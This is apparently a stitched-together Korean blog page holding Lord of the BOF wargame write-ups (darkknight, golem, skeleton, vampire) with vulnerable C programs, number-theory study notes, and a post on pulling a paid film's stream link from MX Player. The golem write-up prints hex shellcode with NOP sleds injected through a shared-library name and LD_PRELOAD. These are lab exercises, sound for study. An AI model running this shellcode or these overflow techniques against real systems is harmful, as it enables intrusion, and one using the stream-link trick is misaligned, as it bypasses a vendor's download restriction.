728x90

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

 

 

이 문제는 FPO라는 기법을 알아야하는데, 난 아직 설명을 할 만큼 제대로 알지 못하기에 다른 블로그 글을 첨부한다.

https://dokhakdubini.tistory.com/228

 

[Stack] Frame Pointer Overflow, FPO에 대하여

오늘은 FPO, Frame Pointer Overflow에 대해서 알아볼 것입니다. SFP Overflow라고도 불립니다. FPO에 대한 풀이 글들을 보면 계속 leave가 ebp+4에 접근할 수 있다, sfp를 조작했으니 ebp를 조작할 수 있다이런..

dokhakdubini.tistory.com

한번에 이해하더라도 나중에 다시 보면서 곱씹어야할듯

 

일단 단순하게 말하면, 1바이트가 넘치니깐 그걸 buffer시작주소-4의 마지막 바이트를 넣어주면 된다.

왜 그렇냐? 위에 첨부한 글을 한 3번 정독하면 이해가 될 수도 있다.(난 이해했다 싶어도 다음날 다시보면 아리쏭하더라)

 

스택이 어떻게 쌓이는지는 아니깐, problem_child에 leave부분에 중단점 설정하고 코드를 넣어보면, 

buffer의 시작주소는 bffff9e4이다.

밑에 x/12x $esp-8 부분을 보면, 마지막 바이트가 \x00 인것만 확인하면 끝

이 아니라 argv[2]부분의 주소도 알아내야한다. (그래야 거기로 보내지)

nop슬라이드를 태워서 보냈으니깐, 90부분 아무거나 잡자(쉘코드 앞쪽)

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 15번  (0) 2020.08.02
LOB 14번  (0) 2020.08.01
LOB 11번  (0) 2020.07.26
LOB 10번  (0) 2020.07.26
LOB 9번  (0) 2020.07.25
728x90

오일러 상수와 타우를 통하여 복소평면 원 안에 e^(iθ)로 쉽게 표현할 수 있고, 

이를 통해 3차원 complex_output의 sample_rate(signal_source)를 정할수 있다.

728x90

'etc > Math' 카테고리의 다른 글

Elementary Number Theory (1학기 )  (0) 2020.07.29
복소평면의 내적  (0) 2020.07.29
728x90

Chapter 1.1
Mathematical Induction >> 제 2 수학적 귀납법 >> 1일때 성립하는거 확인, n일때 성립한다고 가정했을때 n+1일때도 성립한다는 것을 보여라.
Theorem 1.1 
Archimedean Property >> 아르키메데스 성질 >> 대수적 집합 내에선 무한히 크거나 무한히 작은 원소가 없다.  
Theorem 1.2
First Principle of Finite Induction >> 제 1 수학적 귀납법 >> 제 2 수학적 귀납법에서 n을 최소의 자연수인 1이상의 아무 수로 설정.

Chapter 1.2
The Binomial Theorem >> 이항정리 (안함)

Chapter 2.1 
Early Number Theory >> 정수론

Chapter 2.2 
The Division Algorithm >> 나눗셈정리 >> a = bq + r 일때 q와 r이 유일하게 존재한다.
Theorem 2.1
Division Algorithm >> 나눗셈정리

Chapter 2.3
The Greatest Common Divisor >> 최대공약수
Def 2.1 >> a | b 기호 설명
Theorem 2.2
(a) a | 0, 1 | a, a | a
(b) a | 1 >> 무조건 a= ±1.
(c) a | b & c | d >> ac | bd
(d) a | b & b | c >> a | c
(e) a | b & b | a >> 무조건 a = ±b
(f) a | b (b ≠ 0) >> |a| ≤ |b|
(g) a | b & a | c <~> a | (bx + cy) (x, y는 임의의 정수)*******************************
Def 2.2
0이 아닌 정수 a, b에 대하여 양의 정수 gcd(a, b) = d라 할때, d는 다음을 따른다.
(a) d | a & d | b. (최대공약수임으로 당연한 성질)
(b) 정수 c에 대하여 c | a & c | b 이면 c ≤ d이다. ('최대'공약수가 d이므로 공약수 c는 d 보다 작거나 같아야 한다)
Theorem 2.3
0이 아닌 정수 a, b에 대하여 다음을 만족하는 정수 x, y 는 반드시 존재한다. (gcd(a, b) = ax + by)*******************
Theorem 2.3을 이용한 추론 
집합 T = {ax + by | x, y 는 정수} 는 gcd(a, b)의 배수이다.***************
Def 2.3
0이 아닌 정수 a, b에서 gcd(a, b) = 1 이면 a와 b는 서로소이다.
Theorem 2.4
0이 아닌 정수 a, b에 대하여 "a와 b가 서로소" <~> "ax + by = 1 을 만족하는 정수 x, y 존재"****************
Theorem 2.4를 이용한 추론 1
gcd(a, b) = d <~>gcd(a/d, b/d) = 1******************
Theorem 2.4를 이용한 추론 2
gcd(a, b) = 1일때, a | c & b | c >> ab | c (a와 b는 서로소임으로 당연한 말)
Theorem 2.5 
Euclid's lemma(유클리드 보조 정리) >> gcd(a, b) = 1일때 a | bc >> a | c (a와 b는 서로소이니깐 당연)
Theorem 2.6
0이 아닌 정수 a, b에 대하여 정수 d = gcd(a, b)라 하면 <~> d | a & d | b (d는 최대'공'약수니깐)
           <~> c | a & c | b >> c | d(d는 '최대'공약수이므로, 최대공약수는 공약수로 나눌 수 있다.)
Chapter 2.4
The Euclidean Algorithm >> 유클리드 호제법(2개의 자연수 또는 정식의 '최대공약수를 구하는' 알고리즘)
Lemma(보조정리)
a = qb + r >> gcd(a, b) = gcd(b, r) >>*******************(계산할때 한칸씩 땡기는 걸로 기억)
Theorem 2.7 
k가 양수의 정수이면, gcd(ka, kb) = k gcd(a, b) (gcd안의 두 수가 공약수를 가지고 있으면 묶어서 밖으로 뺄 수 있다)**********
Theorem 2.7을 이용한 추론
0이 아닌 모든 정수 k에 대하여 gcd(ka, kb) = |k|gcd(a, b)이다.*******************
Def 2.4
0이 아닌 두 정수 a, b에 대하여 '최소공배수'는 lcm(a, b)로 표기하고, lcm(a, b) = m 이라고 할 때 다음 조건을 만족하는 0이 아닌 정수 m 은 반드시 존재한다.
(a) a | m & b | m
(b) a | c & b | c (c>0) >> m ≤ c (m은 a, b의 '최소'공배수 이므로 당연한 말)
Theorem 2.8
양의 정수 a, b에 대하여 gcd(a, b) x lcm(a, b) = ab 이다.
Theorem 2.8을 이용한 추론
어떠한 양의 정수 a, b에 대하여 lcm(a, b) = ab인 경우는 a, b가 서로소일때 이다.
Chapter 2.5
The Diophantine Equation ax + by = c (디오판토스 방정식)(정수인 해만 가지는 부정방정식)(안함)

Chapter 3.1 (Primes And Their distribution)(안함)
Chapter 3.2 (The Sieve of Eratosthenes)(에라토스테네스의 체)(안함)
Chapter 3.3 (The Goldbach Conjecture)(골드바흐의 추측)(안함)

Chapter 4 (합동 이론)
Chapter 4.1 
Carl Friedrich Gauss (가우스)
Chapter 4.2
Basic Properties of Congruence (합동의 기본 속성)
Def 4.1 n을 고정된 양의 정수라 할때, 두 정수 a, b에 대하여 a-b(b-a)가 n으로 나누어 진다면, a ≡ b (mod n)으로 표기하고, a - b = kn이다.(k는 정수)
Theorem 4.1
임의의 두 정수 a, b에 대하여, a ≡ b (mod n) <~> a, b 가 n으로 나눴을때 음이아닌 같은 나머지를 가진다.
Theorem 4.2 
n > 1 로 고정하고, a, b, c, d가 임의의 정수일때 다음을 만족한다.
(a) a ≡ a (mod n)
(b) a ≡ b (mod n) >> b ≡ a (mod n)
(c) a ≡ b (mod n) & b ≡ c (mod n) >> a ≡ c (mod n)
(d) a ≡ b & c ≡ d (mod n) >> a + c ≡ b + d & ac ≡ bd (mod n)
(e) a ≡ b (mod n) >> a + c ≡ b + c (mod n) & ac ≡ bc (mod n)
(f) a ≡ b (mod n) >> a^k ≡ b^k (mod n) (k는 양의 정수)
Theorem 4.3
ca ≡ cb (mod n) >> a ≡ b (mod n/d) (d = gcd(c, n) )
Theorem 4.3을 이용한 추론 1
ca ≡ cb (mod n) & gcd(c, n) = 1 >> a ≡ b (mod n)
Theorem 4.3을 이용한 추론 2
ca ≡ cb (mod p) & c가 p로 나누어 지지 않는다 (p는 소수) >> a ≡ b (mod p)
Chapter 4.3
Binary and Decimal representations of integers (2진 소수의 정수표현)(안함)
Chapter 4.4
Linear Congruences and the Chinese Remainder Therorem (선형합동과 중국인 나머지정리)
Theorem 4.7
선형합동 ax ≡ b (mod n) 는 d | b일때 근을 가진다.(d = gcd(a, n) ), d | b 이면, d개의 근을 가진다.(mod n으로 계산할때)
Theorem 4.7을 이용한 추론
gcd(a, n) = 1이면, 선형합동식 ax ≡ b (mod n) 은 오직 하나의 근을 가진다. (mod n으로 계산할때)
Theorem 4.8
Chinese Remainder Theorem (중국인 나머지 정리) >> 양의 정수이고, gcd(n(i), n(j) )= 1인  n(1), n(2), n(3), ... , n(r) 이 있을 때, 선형합동식 x ≡ a(1) (mod n(1) )   /  x ≡ a(2) (mod n(2) ) / ... / x ≡ a(r) (mod n(r) )은 modulo n(1)n(2)n(3)...n(r) 에 대하여 오직 하나의 근을 가진다. { modulo 가 소수의 곱으로 이루어져 있을때)
Theorem 4.9 
선형합동식 ax + by ≡ r (mod n), cx + dy ≡ s (mod n) 은 gcd(ad - bc, n) = 1일때 mondulo n 에 대하여 항상 하나의 근을 가진다.(안함)

Chapter 5
Fermat's Theorem (페르마의 정리)
Chapter 5.2
Fermat's Little Theorem And Pseudoprimes (페르마의 소정리)
//위키백과 참조
소수 p, 정수 a에 대하여 a^p ≡ a (mod p) {(a^p-1 ≡ 1)}
Theorem 5.1
Fermat's theorem (페르마의 정리)
소수 p를 a를 나누지 않는 수로 정의할때, a^p-1 ≡ 1 (mod p)
Theorem 5.1을 이용한 추론 
소수 p에 대하여 a^p ≡ a (mod p) (a는 정수)
Theorem 5.1의 보조정리
서로 다른 두 소수 p, q에 대하여 a^p ≡ a (mod q) & a^q ≡ a (mod p) >> a^pq ≡ a (mod pq)
Theorem 5.2
n이 2가 아닌 유사소수일때, M(n) = 2^n - 1 은 n보다 큰 유사소수이다.(안함)
Theorem 5.3 
n이 제곱수를 인수로 가지지 않는 합성수이고, p(i)를 서로 다른 소수라 했을때 n = p(1)p(2)...p(r)이라 하면 n은 absolute 유사소수이다.(안함)
Chapter 5.3 
Wilson's Theorem (윌슨의 정리)
Theorem 5.4
소수 p에 대하여 (p-1)! ≡ -1 (mod p)
Theorem 5.5
이차합동식 x^2 + 1 ≡ 0 (mod p)(p는 2를 제외한 소수) 은 p ≡ 1 (mod 4) 일 때 반드시 근을 가진다.(안함)
Theorem 5.4 
The fermat-kraitchik factorization method (안함)

Chapter 6
Number-Theoretic functions (수론적 함수)
Chapter 6.1
The sum and number of divisors (합과 약수의 개수)
Def 6.1 
양의 정수 n에 대하여 τ(n)은 n의 모든 양의 약수를 가르키고 σ(n)은 이 약수들의 합을 가르킨다.
Theorem 6.1
n = p(1)^k(1) p(2)^k(2) p(3)^k(3) ... p(r)^k(r) 이  n>1일때의 소인수분해한 형태일때, n의 양의 약수 d 는 p(1)^a(1) p(2)^a(2) ... p(r)^a(r) (0 ≤ a(i) ≤ k(i) __i = 1, 2, 3, ..., r) 의 형태를 가진다.
Theorem 6.2
n = p(1)^k(1) p(2)^k(2) ... p(r)^k(r) 일때
τ(n) = (k(1) + 1)(k(2) + 1)(k(3) + 1)...(k(r) + 1) (모든 약수의 개수)
σ(n) = [{p(1)^(k(1) + 1) - 1} / p(1) - 1 ] [{p(2)^(k(2) + 1) - 1} / p(2) - 1 ] ... [{p(r)^(k(r) + 1) - 1} / p(r) - 1 ] (모든 약수의 합)
Def 6.2
수론적 함수 f가 f(mn) = f(m)f(n)을 만족시키면 곱셈적 함수라 부른다.
Theorem 6.3
τ함수와 σ함수는 모두 곱셈적 함수이다.
Theorem 6.4
곱셈적 함수 f에 대하여 함수 F(n) = Σ(d | n) f(d) 일때 함수 F(n)또한 곱셈적 함수이다.
Theorem 6.4를 이용한 추론
함수 σ와 τ는 곱셈적 함수이다. (F(n) = Σ(d | n) f(d) 만족)
Chapter 6.2
The Mobius inversion formula (뫼비우스 반전 공식)(안함)
Chapter 6.3
The Greatest integer function (가우스 함수) (안함)
Chapter 6.4
An application to the calendar (달력에 적용) (안함)

Chapter 7
Euler's Generalization of fermat's theorem (페르마 정리에 대한 오일러의 일반화)
Chapter 7.1 
Leonhard Euler (오일러)
Chapter 7.2
Euler's phi-function (오일러 피 함수)ϕ
Def 7.1
n ≥ 1 일때, ϕ(n) 은 n을 넘지않고 양의 정수이면서 n과 서로소인 수를 나타낸다.
Theorem 7.1
소수 p에 대하여 k가 양수이면 ϕ(p^k) = p^k - p^(k-1)
Theorem 7.1의 보조정리
정수 a, b, c에 대하여 gcd(a, bc) = 1 <~>gcd(a, b) = 1 & gcd(a, c) = 1
Theorem 7.2 함수 ϕ는 곱셈적 함수이다.
Theorem 7.3 1보다 큰 정수 n = p(1)^k(1) p(2)^k(2) ... p(r)^k(r) 로 소인수분해된 형태를 가질때, ϕ(n) = (p(1)^k(1) - p(1)^k(1)-1) (p(2)^k(2) - p(2)^k(2)-1) ... (p(r)^k(r) - p(r)^k(r)-1) 
Theorem 7.4 n > 2 에서 ϕ(n) 은 짝수인 정수이다.
Chapter 7.3
Euler's theorem (오일러 정리)
보조정리 
n > 1 이고 gcd(a, n) = 1 일때, 양의 정수 a(1), a(2), ... , a(ϕ(n)) 가 n보다 작고 n과 서로소인 수 이면, aa(1), aa(2), aa(3), ... , aa(ϕ(n))은 a(1), a(2), ... , a(ϕ(n)) 에 대하여 modulo n으로 합동이다.
Theorem 7.5
1보다 크거나 같은 정수 n에 대하여 gcd(a, n) = 1 >> a^ϕ(n) ≡ 1 (mod n)
Theorem 7.5를 이용한 추론
p가 소수이고 a를 나눌 수 없을때, a^p-1 ≡ 1 (mod p)
Chapter 7.4
Some Properties of the phi-function (피-함수에 대한 성질)
Theorem 7.6
n ≥ 1인 각각의 정수 n에 대하여 n = ∑(d | n) ϕ(d) 의 합은 n의 모든 양의 약수로 확장된다.
Theorem 7.7
1보다 큰 n에 대하여 n보다 작은 양의 정수들의 합과 n과 서로소인 수는 1/2(nϕ(n)) 이다.(안함)
Theorem 7.8 (안함)

Chapter 8
Primitive Roots And Indices (원시근과 지수)
Chapter 8.1
The order of an Integer Modulo n ( modulo n일때 정수에 대한 위수)
Def 8.1
n > 1 이고 gcd(a, n) = 1 일때, modulo n에 대한 위수는 a^k ≡ 1 (mod n)을 만족시키는 가장 작은 양의 정수k 이다.
Theorem 8.1 
정수 a가 modulo n에 대하여 k를 위수로 가진다 했을때, a^h ≡ 1 (mod n) <~> k | h (particular, k | ϕ(n) )
Theorem 8.2
정수 a가 modulo n에 대하여 k를 위수로 가질때, a^i ≡ a^j (mod n) <~> i ≡ j (mod k)
Theorem 8.3
a가 modulo n에 대하여 k를 위수로 가질때(h>0), a^h 는 modulo n에 대하여 k/gcd(h, k)를 위수로 가진다.
Theorem 8.3을 이용한 추론
a가 modulo n에 대하여 k를 위수로 가진다 할 때, a^h또한 gcd(h, k) = 1이면 k를 위수로 가진다.
Def 8.2
gcd(a, n) = 1 &  ϕ(n)가 modulo n에 대하여 a의 위수일때 a를 정수n에 대한 원시근이라 부른다.
Theorem 8.4
gcd(a, n) = 1 이고 a(1), a(2), ... , a(ϕ(n))이 n보다 작은 양의 정수이면서 n과 서로소이라 하자. 만약 a가 n에대한 원시근이라면, a^1, a^2, a^3, ... , a^ϕ(n) 이 modulo n에 대하여 a(1), a(2), a(3), ... , a(ϕ(n))과 합동이다.
Theorem 8.4를 이용한 추론
def 8.2 의 n이 원시근이라면, theorem 8.4 의 원시근은 ϕ(ϕ(n))이다.
//역원//
a x a^-1 ≡ 1 (mod m) 을 만족하는 a^-1은 정수 a를 m으로 나눈 나머지 연산의 곱셈역원
(단, a와 m은 서로소)
///////////////////////////
Chapter 8.2
Primitive roots for primes (소수에 대한 원시근)
Theorem 8.5


728x90

'etc > Math' 카테고리의 다른 글

복소평면에서 타우(τ)와 오일러상수(e)의 사용  (0) 2020.07.29
복소평면의 내적  (0) 2020.07.29
728x90

벡터공간에 따라 i는 스칼라로 생각.

(벡터의 기울기로 생각해도 무관)

728x90

'etc > Math' 카테고리의 다른 글

복소평면에서 타우(τ)와 오일러상수(e)의 사용  (0) 2020.07.29
Elementary Number Theory (1학기 )  (0) 2020.07.29
728x90

오늘 파일노리를 둘러보다가 

이건 소장해야겠다 싶은 영화가 보여서 구매했는디 제휴컨텐츠라서 그런진 모르겠지만 다운받는 창이 없더라.

 

다시보기만 있고 내려받기는 없네. 담배보다 비싼돈 주고 삿는디

 

보통 이런 제휴영상은 기본 플레이어나 mx플레이어로 넘어가는거같던데, 

난 영화를 가끔씩 보기때문에 mx플레이어가 깔려있었다.

 

 mx에 들어가서 [도구-속성]에 들어가면, 

그냥 영상 스트리밍 링크가 걸려있다. 

저 링크에 들어가면 

동영상이 나오고, 꾹 누르면 다운받을수 있다.

 

어설프게 막을꺼면 그냥 다운받을수 있게 만들어놓자 얘들아

728x90

'etc' 카테고리의 다른 글

nc서버 만들기 (로컬)  (0) 2020.11.08
[Android&ios} root  (4) 2020.10.05
window 내장 우분투 이용하기 (gui)  (0) 2020.09.26
[visual studio code c/c++ 컴파일] json파일  (0) 2020.09.20
728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

bash2를 넣고 시작하자 제발

코드를 보니깐, stack destroyer이라는 함수가 추가된것 같다.

memset 함수를 보면, buffer를 0으로 44번째까지 초기화한다. 마지막 4바이트는 남아있는듯.

마지막 남은 4바이트 이후로도 모두 날라가는걸 보아하니 이 문제는 환경변수를 쓰면 될 듯.

 

여기서 그냥 EGG를 사용하는게 아니라 따로 공유 라이브러리를 사용해야 한다.

vi로 아무 코드나 만든 뒤

gcc -fPIC --shared -o `python -c 'print '\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`

이렇게 해주면 공유 폴더가 만들어지고, 

LD_PRELOAD를 이용하려면, (LOB에선 LD_PRELOAD 후킹만 금지되어있다)

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/skeleton/

를 넣어줘야한다.

export LD_PRELOAD=/home/skeleton/`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`

이렇게 해주고 env를 쳐서 제대로 들어갔는지 확인해본다.

아마 잘 안됬으면 명령어가 들어가지도 않을것이다.

 

이제 이 환경변수의 주소를 찾기위해 golem파일을 gorem파일로 복사하여(c파일을 복사하여 컴파일)

gorem파일을 실행시켜서 core을 gdb를 해준다.

내 환경에서는 $ESP-1400 에서 주소가 잡혔다.

파란색 부분을 보면 90으로 감싸져있고, 이게 쉘코드다.

그러면 시작부분인 0xbfffff4c8부분을 주소로 잡으면 풀린다.

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 14번  (0) 2020.08.01
LOB 12번  (0) 2020.08.01
LOB 10번  (0) 2020.07.26
LOB 9번  (0) 2020.07.25
LOB 8번  (0) 2020.07.25
728x90

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

 

코드를 살펴보면, egghunter, bufferhunter, ultra argv hunter, \xbf 정도가 있고, 

추가된 것은 ultra ~ 인것 같은디 딱히 어려워 보이진 않는다.

argv[1]은 48자가 최대고, buffer 와 argv모두 0으로 초기화되므로 풀 방법이 생각나질 않는다.

 

일단 disas, b걸어서 혹시라도 남아있는 값이 있는지 확인해보자.

 

break를 leave쪽에다가 걸어주고, esp를 살펴보다가, 

찾았다 요놈

근데 솔직히 argv[0] 쪽 데이터가 남는다는 사실을 모른다고 가정하고 이 문제를 풀면 진짜 산으로 갈 것 같다.

쨋든 0xbfffffe5 주소에 실행파일의 경로가 남아있으므로, 심볼릭 링크를 생성해주면 간단히(?) 해결될 것 같다.

 

아 맞다 bash2

 

 

 

0xbfffffe8, 

 

같네

 

페이로드를 작성하니깐 seg에러가 떠서, 선배한테 질문하니깐 파일 이름이 달라서(길이) 주소가 달라질수도 있다고 한다.

 

그러면 주소를 다시 구해보자.

 

 

복사한 ckeleton 파일의 이름을 수정한 뒤 코어에서 주소를 찾아보면

 

 

여기 있고

 

 

이렇게 풀린다. 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 12번  (0) 2020.08.01
LOB 11번  (0) 2020.07.26
LOB 9번  (0) 2020.07.25
LOB 8번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

보아하니 주소 옵션에 46번째에 \xff 가 올 수 없다.

그러면 bash2도 할 필요가 없겠군

 

 1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - vampire
     4          - check 0xbfff
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  main(int argc, char *argv[])
     9  {
    10          char buffer[40];

    11          if(argc < 2){
    12                  printf("argv error\n");
    13                  exit(0);
    14          }

    15          if(argv[1][47] != '\xbf')
    16          {
    17                  printf("stack is still your friend.\n");
    18                  exit(0);
    19          }

    20          // here is changed!
    21          if(argv[1][46] == '\xff')
    22          {
    23                  printf("but it's not forever\n");
    24                  exit(0);
    25          }
    26
    27          strcpy(buffer, argv[1]);
    28          printf("%x\n", buffer);
    29          printf("%x\n", argv[2]);
    30          printf("%s\n", buffer);
    31  }

 

 

다음은 vampire.c 를 bampire.c 로 복사하여 수정한 코드고, buffer 와 argv[2]주소를 읽어오게 하였다.

 

생각을 해보면, buffer주소를 변하게 하는것보단 인자를 많이 넣어서 argv[2]의 주소를 변화시키는게 좋을것 같다.

 

이제 46번째 값이 fe이므로 해결된듯

비교적 간단했던 문제

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 11번  (0) 2020.07.26
LOB 10번  (0) 2020.07.26
LOB 8번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25

+ Recent posts